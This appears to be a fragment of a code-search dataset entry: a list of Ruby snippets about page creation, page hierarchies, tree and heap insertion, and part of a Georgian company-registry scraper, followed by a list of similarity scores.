Nokogiri::HTML(pg3.body).xpath(\".//div[@id='tabs-3']/div/table[caption[text() = 'სტატუსი / გადაწყვეტილება']]/tr\").each{|tr|\n acols = tr.xpath(\"td\")\n a_date = s_text(acols[1].xpath(\"./span[@class = 'smalltxt']\"))\n a_link = attributes(acols[0].xpath(\"./a\"),\"href\")\n a_fname = s_text(acols[1].xpath(\"./span[@class = 'maintxt']\"))\n a_status = s_text(acols[2].xpath(\"./span\"))\n #puts \"INFO App/status PAGE comp = #{$current_cid} link = #{a_link} fname = #{a_fname}; date = #{a_date}; status = #{a_status}\"\n\n if a_link != nil\n $app_list.push(a_link)\n stm_link = $DB.prepare(\"SELECT * FROM app_status WHERE link = ?\")\n stm_link.bind_params(a_link)\n result = stm_link.execute\n if result.next()==nil\n max_aid = $DB.execute(\"SELECT MAX(aid) FROM app_status\")\n new_aid = Integer(max_aid[0][0]) + 1\n $DB.execute(\"INSERT INTO app_status(aid, cid, date, file_name, status, link, scrap_date)\n VALUES(:aid, :cid, :date, :file_name, :status, :link, :scrap_date)\",\n \"aid\"=>new_aid,\n \"cid\"=>$current_cid,\n \"date\"=>a_date,\n \"file_name\"=>a_fname,\n \"status\"=>a_status,\n \"link\"=>a_link,\n \"scrap_date\"=>Time.now.utc.iso8601)\n\n begin\n app_body = get_application(a_link)\n app_txt = app_body.gsub(/(\\r|\\n)/, '')\n if app_txt.include?(\"განმცხადებელი\")\n if app_txt.include?(\"საიდენტიფიკაციო კოდი: <strong>\")\n person_name = pretify(app_txt.split(/(განმცხადებელი: <strong>)/,2).last.gsub(/(<\\/strong>).*/, ''))\n person_number = pretify(app_txt.split(/(საიდენტიფიკაციო კოდი: <strong>)/,2).last.gsub(/(<\\/strong>).*/, ''))\n else\n person_name = pretify(app_txt.split(/(განმცხადებელი:)/,2).last.gsub(/\\s[\\/].*/, ''))\n person_number = pretify(app_txt.split(/(განმცხადებელი:)/,2).last.split(/[\\/]/,2).last.gsub(/\\/.*/, ''))\n end\n if person_number != nil and person_name != nil\n person_id = person_into_db(person_name, person_number, '')\n begin\n $DB.execute(\"INSERT INTO filed(pid, aid, cid, date) VALUES(:pid, :aid, :cid, :date)\",\n \"pid\" => person_id,\n \"aid\" => new_aid,\n \"cid\" => $current_cid,\n \"date\"=> a_date)\n rescue SQLite3::Exception => e\n puts \"Exception occured\"\n puts e\n end\n end\n end\n rescue Exception => e\n puts e\n end\n if $comp_in_db == true\n alrt_bd = Hash.new\n alrt_bd[\"cid\"] = $current_cid\n alrt_bd[\"aid\"] = new_aid\n alert(2, alrt_bd)\n $DB.execute(\"INSERT INTO app_status_update(aid, cid, insert_date) VALUES(:aid, :cid, :insert_date)\",\n \"aid\"=>new_aid,\n \"cid\"=>$current_cid,\n \"insert_date\"=>Time.now.utc.iso8601)\n end\n else\n puts \"The application already in the database!\"\n result.reset()\n result.each do |row|\n if row[1] != $current_cid or\n row[2] != a_date or\n row[3] != a_fname or\n row[4] != a_status\n msg = \"The application is either linked to several companies or have been modified since the last scrape:\\n\"\n stm_comp = $DB.prepare(\"SELECT * FROM company WHERE cid = ?\")\n stm_comp.bind_params(row[1])\n result = stm_comp.execute\n result.each do |line|\n msg += \"The application of company name=#{line[4]} id=#{line[1]}, pcode=#{line[2]}\\n\"\n msg += \"Application is distinct!\\n\"\n msg += \"CID: $DB=> #{row[1]} || scrapped=> #{$current_cid}\\n\"\n msg += \"Application Date: $DB=> #{row[2]} || scrapped=> #{a_date}\\n\"\n msg += \"File Name: $DB=> #{row[3]} || scrapped=> #{a_fname}\\n\"\n msg += \"Status: $DB=> #{row[4]} || scrapped=> #{a_status}\\n\"\n alert(8, msg)\n end\n stm_comp.close\n else\n puts \"Same Acapplication\"\n end\n end\n end\n stm_link.close\n end\n }\n\n\n #Getting all the extracts in case it is a djvu file save it into the table of scandocs\n Nokogiri::HTML(pg3.body).xpath(\".//div[@id='tabs-3']/div/table[caption[text() = 'მომზადებული დოკუმენტები']]/tr\").each{|tr|\n rows = tr.xpath('td')\n if(rows.length < 3)\n next\n end\n #check if the document is available\n fname = s_text(rows[2])\n if fname.include?(\"დოკუმენტი მიუწვდომელია\")\n next\n end\n\n link = attributes(rows[0].xpath(\"./a\"),\"href\")\n scandoc_id = CGI.parse(link)['scandoc_id']\n app_id = CGI.parse(link)['app_id']\n dummy = rows[1].xpath(\"./span\")\n text = s_text(dummy[0].xpath(\"text()\"))\n extract_date = s_text(dummy[1].xpath(\"text()\"))\n\n #check whether the document is djvu file or non-extract pdf, if true, saves the link to the file\n if fname.end_with?(\".djvu\") or !text.include?(\"ამონაწერი\")\n puts \"DEJA VU file or non-extract file encountered in the exctracts\"\n stm_djvu = $DB.prepare(\"SELECT * FROM scans WHERE link_to_scan = ?\")\n stm_djvu.bind_params(link)\n result = stm_djvu.execute\n if result.next()==nil\n max_row = $DB.execute(\"SELECT MAX(sid) FROM scans\")\n new_sid = Integer(max_row[0][0]) + 1\n $DB.execute(\"INSERT INTO scans(cid, sid, date, link_to_scan, file_name, scrap_date) VALUES(:cid, :sid, :date, :link_to_scan, :file_name, :scrap_date)\",\n \"cid\"=>$current_cid,\n \"sid\"=>new_sid,\n \"date\"=>extract_date,\n \"link_to_scan\"=>link,\n \"file_name\"=>fname,\n \"scrap_date\"=>Time.now.utc.iso8601)\n puts \"Inserted: cid = #{$current_cid}; sid = #{new_sid}; date = #{extract_date}; link=#{link}; file name = #{fname}\"\n $scan_list.push(new_sid)\n if $comp_in_db == true\n if $comp_in_db == true\n alrt_bd = Hash.new\n alrt_bd[\"cid\"] = $current_cid\n alrt_bd[\"sid\"] = new_sid\n alrt_bd[\"link\"] = link\n alrt_bd[\"fname\"] = fname\n alert(4, alrt_bd)\n $DB.execute(\"INSERT INTO scans_update(cid, sid, insert_date) VALUES(:cid, :sid, :insert_date)\",\n \"cid\"=>$current_cid,\n \"sid\"=>new_sid,\n \"insert_date\"=>Time.now.utc.iso8601)\n end\n end\n\n else\n result.reset()\n puts \"THE LINK TO THE SCAN IS ALREADY IN THE DATABASE\"\n result.each do |row|\n $scan_list.push(row[1])\n #puts \"PUSHING TO SCAN LIST ALREADY EXISTS 873 =>#{row[1]};\"\n #puts \"Database: cid = #{row[0]}; sid = #{row[1]}; date = #{row[2]}; link = #{row[3]}; file name = #{row[4]}\"\n #puts \"Inserting: cid = #{$current_cid}; sid = #{new_sid}; date = #{extract_date}; link=#{link}; file name = #{fname}\"\n end\n end\n stm_djvu.close\n else\n eid = get_extract(scandoc_id, app_id, link)\n $extract_list.push(eid)\n end\n }\n\n if $comp_in_db == true\n #Checking for the list of people scrapped to be compared to the list of people in the $DB\n # pg_prsn_ls\n stm_people = $DB.prepare(\"SELECT * FROM page_to_person WHERE cid = ? AND page_id = ?\")\n stm_people.bind_params($current_cid, page_id)\n result = stm_people.execute\n result.each do |row|\n pid = Integer(row[2])\n role = row[3]\n if $pg_prsn_ls.include?({pid, role}) == false\n puts \"TRACE: A person pid:#{row[2]} encountered who is no longer on the add page of the company in the registry\"\n $DB.execute(\"INSERT INTO page_to_person_trace(cid, page_id, pid, scrap_date, role, insert_date)\n VALUES(:cid, :page_id, :pid, :scrap_date, :role, :insert_date)\",\n \"cid\"=>row[0],\n \"page_id\"=>row[1],\n \"pid\"=>row[2],\n \"scrap_date\"=>row[4],\n \"role\"=>row[3],\n \"insert_date\"=>Time.now.utc.iso8601)\n end\n end\n stm_people.close\n end\nend",
"def create\n # populate_categories\n @page = Page.new(params[:page])\n @parent = @page.parent_page_id.blank? ? nil : Page.find(@page.parent_page_id) \n if @page.save\n begin\n unless @parent.nil?\n @page.move_to_child_of(@parent)\n Alias.update\n end\n flash[:notice]='Page was created successfully'\n redirect_to pages_url\n rescue\n @clone=@page.clone\n @page.destroy\n @page=@clone\n @page.valid?\n @page.errors.add(:path,'has already been taken')\n render :action=>'new'\n end\n\n add_categories_to_pages\n\n else\n render :action=>'new'\n end\n end",
"def after_save\n section = self\n if section.page_id.blank?\n section_page = Page.create(:title => section.title,\n :show_in_menu => false,\n :deletable => false,\n :position => ((Page.maximum(:position, :conditions => {:parent_id => nil}) || -1)+1)\n )\n\n section_page.parts.create({\n :title => \"title\",\n :body => section.title,\n :position => 0})\n section_page.parts.create({\n :title => \"heading_title\",\n :body => section.heading_title,\n :position => 1})\n section_page.parts.create({\n :title => \"heading\",\n :body => section.heading,\n :position => 2})\n section_page.parts.create({\n :title => \"link\",\n :body => section.link,\n :position => 3})\n #update Section page_id\n section.page_id = section_page.id\n section.save\n #Add an news Page\n unless RefineryConfig.hidden_plugins.include?(\"news_items\")\n page = section_page.children.create(:title => 'Actualités',\n :deletable => false,\n :data_type => 'news_items',\n :show_in_menu => true,\n :position => section_page.position + 1)\n Page.default_parts.each do |default_page_part|\n page.parts.create(:title => default_page_part, :body => nil)\n end\n end\n #Add a Portfolio Page\n unless RefineryConfig.hidden_plugins.include?(\"portfolio\")\n page = section_page.children.create(\n :title => 'Galerie',\n :deletable => false,\n :show_in_menu => true,\n :data_type => 'portfolio',\n :position => section_page.position + 1)\n Page.default_parts.each do |default_page_part|\n page.parts.create(:title => default_page_part, :body => nil)\n end\n end\n\n #Add an event Page\n unless RefineryConfig.hidden_plugins.include?(\"events\")\n page = section_page.children.create(\n :title => 'Agenda',\n :deletable => false,\n :show_in_menu => true,\n :data_type => 'events',\n :position => section_page.position + 1)\n Page.default_parts.each do |default_page_part|\n page.parts.create(:title => default_page_part, :body => nil)\n end\n end\n end\n end",
"def insert(value, tree)\n if tree[:root] == nil\n tree[:root] = value\n return\n end\n if tree[:root] >= value\n insert_left(value, tree)\n return\n end\n insert_right(value, tree)\nend",
"def add_to_link_hierarchy( title, link, page=nil )\n\t\tnode = DocuBot::LinkTree::Node.new( title, link, page )\n\t\tparent_link = if node.anchor\n\t\t\tnode.file\n\t\telsif File.basename(link)=='index.html'\n\t\t\tFile.dirname(File.dirname(link))/'index.html'\n\t\telse\n\t\t\t(File.dirname(link) / 'index.html')\n\t\tend\n\t\t#puts \"Adding #{title.inspect} (#{link}) to hierarchy under #{parent_link}\"\n\t\tparent = descendants.find{ |n| n.link==parent_link } || self\n\t\tparent << node\n\tend",
"def trace\n \n path = WikiPath.new\n \n page = self\n\n wikipage = Wikipedia.find(title)\n\n # If page has a parent we must stop (we can fetch the cached path or it's a loop)\n # If there's no page... we reached the end of the road\n while !page.blank? and page.parent_id.blank? \n \n path.pages << page\n \n # We must get rid of infoboxes, metadata and Image and FIle links before we get the link title\n first_link_title = wikipage.content.gsub(\"\\n\", \"\").gsub(/\\{\\{[^\\}]*\\}\\}/, \"\").gsub(\"[[Image:\", \"\").gsub(\"[[File:\", \"\").match(/\\[\\[[^\\]]*\\]\\]/)[0]\n first_link_title = first_link_title.split(\"|\").first.gsub(\"]\", \"\").gsub(\"[\", \"\") unless first_link_title.nil?\n\n if first_link_title.nil?\n page.update_attributes :is_root => true\n page = nil\n else\n\n wikipage = Wikipedia.find(first_link_title)\n\n parent_page = WikiPage.find_by_title(first_link_title)\n parent_page ||= WikiPage.create :url => \"\", :title => first_link_title, :fetched_at => Time.now\n\n page.update_attributes :parent_id => parent_page.id\n\n\n page = parent_page \n end\n end\n\n unless page.blank?\n path.pages << page\n unless page.parent_id.blank?\n \n parent_pos = path.pages.index page.parent\n # If parent is not in the path then we have a cached path\n if parent_pos.nil?\n path.pages.concat(page.ancestors.reverse)\n else # If parent is in the path then we have a loop\n\n # remove pages from path\n roots = path.pages.slice! parent_pos, path.pages.length - parent_pos\n\n # create a tree\n tree = WikiTree.create :name => roots.map(&:title).join(\" - \")\n # we remove the parent page to every root and indicate it's a root\n roots.each do |root|\n root.update_attributes :is_root => true, :parent_id => nil\n end\n\n end\n\n end\n end\n\n path.pages.each do |page|\n tree.pages << page\n page.reload\n end\n\n path\n\n end",
"def set_page\n @page = Page.published.friendly.find(params[:id])\n @sections = @page.sections.published.sorted\n @subpages = @page.subpages.published.sorted\n end",
"def save_page(p)\n if p.record.page_entries != p.values.length\n raise RuntimeError, \"page_entries mismatch for node #{p.uid}\"\n end\n begin\n @f.seek(p.uid * @page_size * 8)\n @f.write(p.values.pack('Q*'))\n rescue IOError => e\n PEROBS.log.fatal \"Cannot write cache file #{@file_name}: #{e.message}\"\n end\n end",
"def prepare()\n @pages = {}\n @files = {}\n @layouts = {}\n\n @commit = @version == :working ? @wiki.repo.head.commit : @wiki.repo.commit(@version)\n items = self.ls(@version)\n\n items.each do |item|\n filename = ::File.basename(item.path)\n dirname = ::File.dirname(item.path)\n if filename =~ /^_Layout.html/\n # layout\n @layouts[item.path] = ::Liquid::Template.parse(item.data)\n elsif @wiki.page_class.valid_page_name?(filename)\n # page\n page = @wiki.page_class.new(@wiki)\n blob = OpenStruct.new(:name => filename, :data => item.data)\n page.populate(blob, dirname)\n page.version = @commit\n\n if @preserve_tree\n key = [::File.dirname(item.path).gsub(/^\\./, \"\").gsub(/\\//, ' '), page.name].join(\" \").strip.downcase\n else\n key = page.name.downcase\n end\n @pages[key] = page\n else\n # file\n @files[item.path] = item.data\n end\n end\n end",
"def set_page_hierarchy\n @page_hierarchy = PageHierarchy.find(params[:id])\n end",
"def ingest_pages\n @table_of_contents.unique_pages.each_with_index do |entry, index|\n label = entry ? Utils.xml_escape(entry.title) : \"Page #{index + 1}\"\n @component_objects.push ingest_page(entry.image_filename, label, index + 1)\n end\n\n if @manifest.embargo\n @component_objects.each do |pid|\n @drupal_db.add_embargo pid, @manifest.embargo['rangeName'], @manifest.embargo['endDate']\n end\n end\n end",
"def insert(key, value = key)\n raise ArgumentError, 'Heap keys must not be nil' unless key\n n = Hash[key: key, value: value]\n # 1. Append to end\n @nodes << n\n # We need to keep track of inserted node's index\n # so that when we bubble up we adjust it and not keep\n # looking for it\n ins_i = size - 1\n \n # 2. Satisfy the heap property (bubble-up):\n # Move the newly inserted node up the tree as long as\n # it is smaller than its parent\n unless size == 1\n while @compare_fn[@nodes[ins_i][:value], @nodes[parent(ins_i)][:value]]\n swap(parent(ins_i), ins_i)\n ins_i = parent(ins_i)\n break if ins_i == 0\n end\n end\n # Return the final index of the inserted element after re-ordering\n ins_i\n end",
"def add_template_pages; end",
"def insert(new_node)\n\n if self.root.nil?\n self.root = new_node\n self.size = 1\n return {root: new_node.value, size: self.size}\n end\n\n current = self.root\n\n until current.nil?\n if current.value == new_node.value\n return \"{value} already present in tree\"\n elsif current.value < new_node.value && current.right.nil?\n current.right = new_node\n new_node.parent = current\n self.size += 1\n elsif current.value > new_node.value && current.left.nil?\n current.left = new_node\n new_node.parent = current\n self.size += 1\n elsif current.value < new_node.value\n current = current.right\n elsif current.value > new_node.value\n current = current.left\n end\n end\n end",
"def create\n @page = @parent_page.children.new(params[:page])\n \n @page.site = @site\n @page.created_by = @page.updated_by = current_user\n\n respond_to do |format|\n if @page.save\n flash[:notice] = \"Page was successfully created.\"\n format.html { redirect_to(@parent_page ? admin_site_page_child_path(@site, @parent_page, @page) : admin_site_page_path(@site, @page))}\n format.xml { render :xml => @page, :status => :created, :location => @page }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def to_hash\n hash = {\n 'type' => 'Page',\n 'name' => page_name,\n 'text' => text.to_s\n }\n unless page_panes.empty?\n hash['panes'] = page_panes.map do |page_pane|\n page_pane.pane.to_hash\n end\n end\n unless page_sequences.empty?\n hash['sequence'] = page_sequences.first.sequence.to_hash\n end\n hash\n end",
"def create\n @page = @club.pages.new(params[:page])\n @page.parent_id = params[:page][:parent_id];\n @page.bns_parent_id = params[:page][:parent_id];\n respond_to do |format|\n if @page.save\n flash[:notice] = 'Pages was successfully created.'\n\t format.html { redirect_to(admin_club_page_path(@club, @page)) }\n format.xml { render :xml => @page, :status => :created, :location => @page }\n else\n @pagelist = @club.all_pages\n \n @page_title = \"New Page\"\n @site_section = \"admin\"\n format.html { render :action => \"new\" }\n format.xml { render :xml => @page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @az_page = AzPage.new(params[:az_page])\n parent_page = AzPage.find_by_id(params[:az_page][:parent_id])\n @az_page.owner_id = parent_page.owner_id\n @az_page.parents << parent_page\n @az_page.position = 0\n\n if @az_page.title == nil || @az_page.title == ''\n @az_page.title = @az_page.name\n end\n\n save_result = @az_page.save\n\n respond_to do |format|\n if save_result\n format.html { render :text => \"Успешно. Подождите...<script type='text/javascript'>add_sub_tree(#{@az_page.id}, #{parent_page.id});</script>\" }\n else\n format.html { render :partial => '/az_pages/tooltips/new_edit_dialog',\n :locals=> {:page => @az_page, :parent_page_id => params[:az_page][:parent_id]}}\n \n end\n end\n end",
"def create_page(title, content, ancestor_id)\n url = host + '/rest/api/content?expand=version,ancestors,space'\n payload = {\n title: title,\n type: 'page',\n space: {key: space},\n ancestors: Array(ancestor_id).map { |ans_id| { id: ans_id } },\n body: {\n storage: {\n value: content,\n representation: 'storage'\n }\n }\n }\n\n req_result = send_request(:post, url, payload, default_headers)\n Model::Page.new req_result[:body] if req_result[:success]\n end",
"def rebuild_hierarchies!\n query(\"MATCH (:Page)-[parent:parent]->(:Page) DELETE parent\")\n query(\"MATCH (:Page)-[in_clade:in_clade]->(:Page) DELETE in_clade\")\n missing = {}\n related = {}\n # HACK HACK HACK HACK: We want to use Resource.native here, NOT ITIS!\n itis = Resource.where(name: \"Integrated Taxonomic Information System (ITIS)\").first\n raise \" I tried to use ITIS as the native node for the relationships, but it wasn't there.\" unless itis\n Node.where([\"resource_id = ? AND parent_id IS NOT NULL AND page_id IS NOT NULL\",\n itis.id]).\n includes(:parent).\n find_each do |node|\n page_id = node.page_id\n parent_id = node.parent.page_id\n next if missing.has_key?(page_id) || missing.has_key?(parent_id)\n page = page_exists?(page_id)\n page = page.first if page\n if page\n relate(\"in_clade\", page, page)\n end\n next if related.has_key?(page_id)\n parent = page_exists?(parent_id)\n parent = parent.first if parent\n if page && parent\n if page_id == parent_id\n puts \"** OOPS! Attempted to add #{page_id} as a parent of itself!\"\n else\n relate(\"parent\", page, parent)\n relate(\"in_clade\", page, parent)\n related[page_id] = parent_id\n # puts(\"#{page_id}-[:parent]->#{parent_id}\")\n end\n else\n missing[page_id] = true unless page\n missing[parent_id] = true unless parent\n end\n end\n related.each do |page, parent|\n puts(\"#{page}-[:in_clade*]->#{parent}\")\n end\n puts \"Missing pages in TraitBank: #{missing.keys.sort.join(\", \")}\"\n end",
"def children_for page, title\n page.children.create({\n :title => title,\n :deletable => true,\n :status => 'live',\n :show_in_menu => true,\n :parent_id => page.id\n })\nend",
"def insert(root, node)\n\t\tif node.nil?\n\t\t\tnil\n\t\telsif root.nil? \n\t\t\tself.root = node\n\t\telse\n\t\t\tgo_to_bottom(nil,node)\n\t\t\tparent_compare(node, node.parent)\n\t\tend\n\tend",
"def insert(root, node)\n\t\tif node.nil?\n\t\t\tnil\n\t\telsif root.nil? \n\t\t\tself.root = node\n\t\telse\n\t\t\tgo_to_bottom(nil,node)\n\t\t\tparent_compare(node, node.parent)\n\t\tend\n\tend",
"def save_page page\n return unless page.text?\n\n path = page_file page.full_name\n\n FileUtils.mkdir_p File.dirname(path) unless @dry_run\n\n cache[:pages] ||= []\n cache[:pages] << page.full_name\n\n return if @dry_run\n\n File.open path, 'wb' do |io|\n Marshal.dump page, io\n end\n end",
"def add_page(path, kwargs)\n @sitemap[path] = kwargs.with_indifferent_access\n self\n end",
"def add_to_history(page); end",
"def create\n @page = ContentPage.new :title => t(\"new_page\")\n @page.update_sorting params[:drop_id], params[:position]\n \n render :json => { :text => @page.title, :id => @page.id, :icon => @page.icon, \n :cls => @page.type, :leaf => false, :expanded => true, :allowDrag => true, \n :allowDrop => true, :draggable => true }\n end",
"def add\n if page.url && !find_page(page)\n Octopress.site.pages << page\n plugin.config['permalinks'] ||= {}\n permalink_config ||= page.url\n end\n end",
"def add_page_to_doc\n @page_content.each { |line| @doc_content += line}\n @pages_in_doc += 1\n if !@doc_start_page\n @doc_start_page = current_page()\n end\n return @doc_content\n end",
"def create\n begin\n ActiveRecord::Base.transaction do\n @page = Page.new(\n page_slug: params[\"page\"][\"page_slug\"],\n title: params[\"page\"][\"title\"],\n tag_list: params[\"page\"][\"tags\"]\n )\n @page.save!\n @version = Version.new(body: params[\"page\"][\"body\"], page: @page)\n @version.save!\n end\n respond_to do |format|\n format.html { redirect_to action: \"show\", slug: page_params[:page_slug] , notice: 'Page was successfully created.' }\n format.json { render :show, status: :created, location: @page }\n end\n rescue => @err\n respond_to do |format|\n @page.body = params[\"page\"][\"body\"]\n format.html { render :new }\n format.json { render json: @err, status: :unprocessable_entity }\n end\n end\n end",
"def set_page_keys\n @page_index = @vert_page_index = 0\n @item_pages = Bubs::InfoPages::ITEM_INFO_PAGES.clone\n @equipitem_pages = Bubs::InfoPages::EQUIP_INFO_PAGES.clone\n @item_pages.unshift(:ingredients)\n @equipitem_pages.unshift(:ingredients)\n refresh\n end",
"def create_for_page\n id = params[\"page_id\"]\n owner = Page.find(id)\n attributes = attribute_parameters\n attributes[:page] = owner\n hobo_create_for :page, :attributes => attributes\n end",
"def build_page(sha, ref)\n # implement inside child\n end",
"def insert(key, value)\n i = key.hash % @table.size\n node = @table[i]\n while node\n if key == node.key\n node.value = value\n return\n end\n node = node.next\n end\n @table[i] = Node.new(key, value, @table[i])\n @count += 1\n end",
"def push_active_page(node, &block)\n stack(:__cms_active_page).push(node)\n begin\n push(node) do\n yield\n end\n ensure\n pop(:__cms_active_page)\n end\n end",
"def create_page_content(page_id, data)\n create_content(Voog::API::Contents::ParentKind::Page, page_id, data)\n end",
"def add_page_from(page)\n pages_from << page unless pages_from.include?(page)\n end",
"def add_page_from(page)\n @pages_from << page unless @pages_from.include?(page)\n end",
"def insert_into_tree(root, new_value, index)\n if root.val == new_value\n return root\n elsif new_value < root.val\n if root.left\n insert_into_tree(root.left, new_value, index)\n else\n root.left = TreeNode.new(new_value, index )\n end\n else\n if root.right\n insert_into_tree(root.right, new_value, index)\n else\n root.right = TreeNode.new(new_value, index)\n end\n end\nend",
"def update_or_create_page(title: nil, parent_title: nil, space_key: nil, content: '')\n page = find_page_by_title(title: title, space_key: space_key)\n if page.empty?\n puts \"Creating new page: #{title}\"\n parent_page = find_page_by_title(title: parent_title, space_key: Settings.space_key)\n return \"No Parent: #{parent_title}\" if parent_page.empty?\n result = new_child_page(title: title, ancestor_id: parent_page['id'], \n space_key: space_key, content: content)\n else\n puts \"Updating page: #{title}\"\n result = update_page(page: page, space_key: space_key, content: content)\n end\n end",
"def add(path)\n path = normalize_path(path)\n @pages.fetch(path) { @pages[path] = ::Middleman::Sitemap::Page.new(self, path) }\n end",
"def page_params\n params.require(:page).permit(:name, :content, :parent_id, :state)\n end",
"def insert_node\n insert_node_helper(@root)\n end",
"def create\n\n # retrieve page part attributes from params and assign it to a variable\n page_parts = params[:page][:page_parts_attributes]\n\n # sort the page_parts and reassign it to the params\n params[:page][:page_parts_attributes] = Hash[page_parts.sort]\n\n #creating the page object with its own and child attributes\n @page = Page.new(params[:page])\n\n #retrieving layout id from params and assigning to a variable\n @layout = params[:page][:layout_id]\n\n # calling method to find all pages and page parts\n find_pages_and_parts(@layout)\n\n # sends the data in different formats\n respond_to do |format|\n\n if @page.save #page saved successfully\n\n format.html { redirect_to admin_pages_path, notice: 'Page was successfully created.' }\n format.json { render json: @page, status: :created, location: @page }\n\n else #page saving failed, re-render the form\n\n format.html { render action: \"new\", :template => 'mcms_pages/admin/pages/new' }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n\n end # end if\n\n end # end respond_to block\n\n end",
"def page_params\n params.require(:page).permit(:title, :text, :slug, :parent_id)\n end",
"def insert_entry_for_new_page(revision)\n return if parent_id.nil?\n this = self.id\n detect_entry = proc { |e| e[0] == this }\n\n parent_entry_store = with_editable {\n content_model[self.parent_id].entry_store.dup\n }\n entry = parent_entry_store.find(&detect_entry)\n index = parent_entry_store.index(&detect_entry)\n published_parent = content_model.get(parent_id)\n\n store = published_parent.entry_store || []\n\n unless store.find(&detect_entry)\n store.insert(index, entry).compact!\n published_parent.entry_store = store\n end\n\n published_parent.save\n end",
"def group_pages\n self.pages.each {|page|\n @pages_by_language[page.language][page.url_no_language] = page\n }\n end",
"def generate_page_html(page, root_info, params={})\n @been_cached ||= []\n unless page.has_keyword? :nocache or @been_cached.include? page.id\n uri = page.uri\n uri = \"#{uri}/index\".split('/').flatten.join('/') if page.full_path == root_info[:index]\n @page = Comatose::PageWrapper.new(page)\n begin\n page_layout = get_page_layout(root_info)\n #puts \"mode = #{runtime_mode}, layout = #{page_layout}, template_root = #{template_root}, original_template_root = #{original_template_root}\"\n html = render_to_string( :text=>page.to_html({'params'=>params.stringify_keys}), :layout=>page_layout )\n cache_page( html, uri )\n rescue\n logger.error \"Comatose CMS Page Cache Exception: #{$!}\"\n @errors << \"(#{page}/#{page.slug}) - #{$!}\"\n end\n @been_cached << page.id\n # recurse...\n page.children.each do |child|\n generate_page_html(child, root_info)\n end\n end\n end",
"def create\n params[:page].except!(:map_info) unless params[:page][:map_info].present?\n @page = current_user.pages.new(params[:page])\n respond_to do |format|\n if @page.save\n format.html { redirect_to @page, notice: 'Page was successfully created.' }\n format.json { render json: @page, status: :created, location: @page }\n else\n @business = Business.select('id, title')\n format.html { render action: \"new\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def insert(element)\n insertindex=@store.length\n\n @store[@store.length]=element\n return if insertindex==1\n\n #For even inserts parent index is insertedindex/2-1 otherwise its juts insertedindex/2\n\n parentindex=insertindex/2\n\n #Incase it does not fit in(violating Heap Property)\n while insertindex!=1 && @store[parentindex] > @store[insertindex]\n swap(parentindex,insertindex)\n insertindex=parentindex\n parentindex=insertindex/2\n end\n\n end",
"def insert key\n head = union(self, BinomialHeap.new(key))\n h_next = head.sibling\n consolidate(head, h_next)\n end",
"def insert_recursive(obj)\n if empty?\n @root = Node.new(obj)\n return\n end\n\n insert_at(@root, obj)\n end",
"def create\n @page = Page.new(params[:page])\n\n respond_to do |format|\n if @page.save\n format.html { redirect_to [:admin, @page], notice: 'Страница успешно создана.' }\n format.json { render json: @page, status: :created, location: @page }\n else\n format.html { render action: \"new\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_page\n @page = Page.find_or_create(params[:page_url])\n # Does this page exist? If not, raise 404 error.\n raise ActiveRecord::RecordNotFound unless @page\n end",
"def add(text)\n\n\t\t# create a new node and set navigation pointers\n\t\t@old = @tree\n\t\t@tree = Node.new(text)\n\t\t@tree.next = @old.next\n\t\tif @old.next != nil\n\t\t\t@old.next.prev = @tree\n\t\tend\n\t\t@tree.prev = @old\n\t\t@old.next = @tree\n\n\t\t# Prune the tree, so it doesn't get too big.\n\t\t# Start by going back.\n\t\tn=0\n\t\tx = @tree\n\t\twhile x != nil\n\t\t\tn += 1\n\t\t\tx0 = x\n\t\t\tx = x.prev\n\t\tend\n\t\tx = x0\n\t\twhile n > 500\n\t\t\tn -= 1\n\t\t\tx = x.next\n\t\t\tx.prev.delete\n\t\tend\n\t\t# now forward\n\t\tn=0\n\t\tx = @tree\n\t\twhile x != nil\n\t\t\tn += 1\n\t\t\tx0 = x\n\t\t\tx = x.next\n\t\tend\n\t\tx = x0\n\t\twhile n > 500\n\t\t\tn -= 1\n\t\t\tx = x.prev\n\t\t\tx.next.delete\n\t\tend\n\tend",
"def add(key, value = key)\n # insert new node to the bottom of the heap \n # by placing it at the end of the array\n @store.push(HeapNode.new(key, value))\n\n heap_up(@store.length - 1) if @store.length > 1 \n end",
"def create\n @nested_page = Nested::Page.new(params[:nested_page])\n\n respond_to do |format|\n if @nested_page.save\n format.html { redirect_to @nested_page, notice: 'Page was successfully created.' }\n format.json { render json: @nested_page, status: :created, location: @nested_page }\n else\n format.html { render action: \"new\" }\n format.json { render json: @nested_page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def insert(score, title)\n @total_nodes +=1 \n if @root_node.nil?\n @root_node = Node.new(score, title)\n else\n @root_node.insert(score, title)\n end\n depth_of(score) \nend",
"def insert(data)\n node = Node.new(data)\n\n if @size == 0\n @root = node\n else\n parent = @root\n\n loop do\n if data <= parent.value\n if !parent.left # found a leaf node\n parent.left = node # insert here\n break\n else\n parent = parent.left\n end\n else # data > node.value\n if !parent.right # found a leaf node\n parent.right = node # insert here\n break\n else\n parent = parent.right\n end\n end\n end\n end\n\n @size += 1\n end",
"def assign_pages!\n payload[\"page\"] = document.to_liquid\n payload[\"paginator\"] = (document.pager.to_liquid if document.respond_to?(:pager))\n end",
"def insert_in_bst(root, data)\n if !root\n root = Node.new(data)\n elsif data < root.value\n root.left_child = insert_in_bst(root.left_child, data)\n else\n root.right_child = insert_in_bst(root.right_child, data)\n end\n root\nend",
"def insert(data)\n if data <= @data\n if @left.nil?\n @left = Bst.new(data)\n else\n @left.insert(data)\n end\n else\n if @right.nil?\n @right = Bst.new(data)\n else\n @right.insert(data)\n end\n end\n end"
] |
[
"0.75847316",
"0.6881956",
"0.65700096",
"0.6422727",
"0.64048517",
"0.62687814",
"0.6181171",
"0.61767334",
"0.6121118",
"0.60213166",
"0.59795743",
"0.59611416",
"0.59034127",
"0.5891944",
"0.5876149",
"0.5859861",
"0.58153945",
"0.5790917",
"0.57699",
"0.5672251",
"0.56699634",
"0.5668088",
"0.5653763",
"0.56505793",
"0.5644311",
"0.56286365",
"0.5624686",
"0.55988187",
"0.559793",
"0.55914444",
"0.5575453",
"0.5572784",
"0.5571759",
"0.55625916",
"0.5558665",
"0.5554518",
"0.5547224",
"0.55414724",
"0.553652",
"0.5535831",
"0.55306935",
"0.5524299",
"0.5509554",
"0.5505433",
"0.54827064",
"0.54676193",
